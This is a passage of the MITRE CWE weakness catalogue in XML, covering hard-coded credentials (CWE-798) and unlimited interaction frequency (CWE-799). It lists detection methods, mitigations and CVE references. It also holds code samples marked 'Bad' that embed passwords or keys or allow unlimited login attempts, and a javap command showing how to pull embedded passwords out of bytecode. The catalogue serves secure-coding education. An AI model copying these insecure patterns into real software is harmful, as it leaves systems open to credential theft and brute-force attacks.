                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].</xhtml:p>
                  <xhtml:p>In Windows environments, the Encrypted File System (EFS) may provide some protection.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.</xhtml:p>
                  <xhtml:p>Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For front-end to back-end connections: Three solutions are possible, although none are complete.</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.</xhtml:li>
                        <xhtml:li>Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.</xhtml:li>
                        <xhtml:li>Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-13">
               <Intro_Text>The following code uses a hard-coded password to connect to a database:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>DriverManager.getConnection(url, "scott", "tiger");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>javap -c ConnMngr.class<xhtml:div style="margin-left:1em;">22: ldc #36; //String jdbc:mysql://ixne.com/rxsql<xhtml:br/>24: ldc #38; //String scott<xhtml:br/>26: ldc #17; //String tiger</xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-14">
               <Intro_Text>The following code is an example of an internal hard-coded password in the back-end:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (strcmp(password, "Mew!")) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 printf("Incorrect Password!\n");<xhtml:br/>return(0)</xhtml:div>
                           </xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (!password.equals("Mew!")) {<xhtml:div style="margin-left:1em;">return(0)</xhtml:div>}<xhtml:br/>//Diagnostic Mode<xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-92">
               <Intro_Text>The following code examples attempt to verify a password using a hard-coded cryptographic key.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>printf("Incorrect Password!\n");<xhtml:br/>return(0);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public boolean VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">System.out.println("Entering Diagnostic Mode...");<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>System.out.println("Incorrect Password!");<xhtml:br/>return false;</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">Console.WriteLine("Entering Diagnostic Mode...");<xhtml:br/>return(1);</xhtml:div>}<xhtml:br/>Console.WriteLine("Incorrect Password!");<xhtml:br/>return(0);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors used hard-coded credentials in their OT products.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29953</Reference>
               <Description>Condition Monitor firmware has a maintenance interface with hard-coded credentials</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29953</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29960</Reference>
               <Description>Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29960</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29964</Reference>
               <Description>Distributed Control System (DCS) has hard-coded passwords for local shell access</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29964</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30997</Reference>
               <Description>Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30997</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30314</Reference>
               <Description>Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30314</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30271</Reference>
               <Description>Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30271</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2021-37555</Reference>
	      <Description>Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2021-37555</Link>
	    </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2012-3503</Reference>
	      <Description>Installation script has a hard-coded secret token value, allowing attackers to bypass authentication</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2012-3503</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2772</Reference>
               <Description>SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2772</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2073</Reference>
               <Description>FTP server library uses hard-coded usernames and passwords for three default accounts</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2073</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1573</Reference>
               <Description>Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1573</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2369</Reference>
               <Description>Server uses hard-coded authentication key</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2369</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0961</Reference>
               <Description>Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0961</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1160</Reference>
               <Description>Security appliance uses hard-coded password allowing attackers to gain root access</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7142</Reference>
               <Description>Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7142</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3716</Reference>
               <Description>VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3716</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3803</Reference>
               <Description>VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3803</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0496</Reference>
               <Description>Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0496</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC03-J</Entry_ID>
               <Entry_Name>Never hard code sensitive information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-798</Entry_ID>
            </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SR 1.5</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 4-2</Entry_ID>
             <Entry_Name>Req CR 1.5</Entry_Name>
           </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="191"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 8, &#34;Key Management Issues&#34; Page 272"/>
            <Reference External_Reference_ID="REF-729"/>
            <Reference External_Reference_ID="REF-172"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-798"/>
            <Reference External_Reference_ID="REF-1283"/>
            <Reference External_Reference_ID="REF-1288"/>
            <Reference External_Reference_ID="REF-1304"/>
         </References>
         <Notes>
	       <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
               <Submission_Comment>More abstract entry for hard-coded password and hard-coded cryptographic key.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="799" Name="Improper Control of Interaction Frequency" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.</Description>
         <Extended_Description>This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Insufficient anti-automation</Term>
               <Description>The term "insufficient anti-automation" focuses primarly on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Brute force</Term>
               <Description>Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char username[USERNAME_SIZE];<xhtml:br/>char password[PASSWORD_SIZE];<xhtml:br/>
                     <xhtml:br/>while (isValidUser == 0) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">if (getNextMessage(socket, password, PASSWORD_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">isValidUser = AuthenticateUser(username, password);</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>return(SUCCESS);</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int count = 0;<xhtml:br/>while ((isValidUser == 0) &amp;&amp; (count &lt; MAX_ATTEMPTS)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">if (getNextMessage(socket, password, PASSWORD_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">isValidUser = AuthenticateUser(username, password);</xhtml:div>}</xhtml:div>}<xhtml:br/>count++;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>if (isValidUser) {<xhtml:div style="margin-left:1em;">return(SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">return(FAIL);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1876</Reference>
               <Description>Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1876</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>21</Entry_ID>
               <Entry_Name>Insufficient Anti-Automation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-731"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
               <Submission_Comment>New entry to handle anti-automation as identified in WASC.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
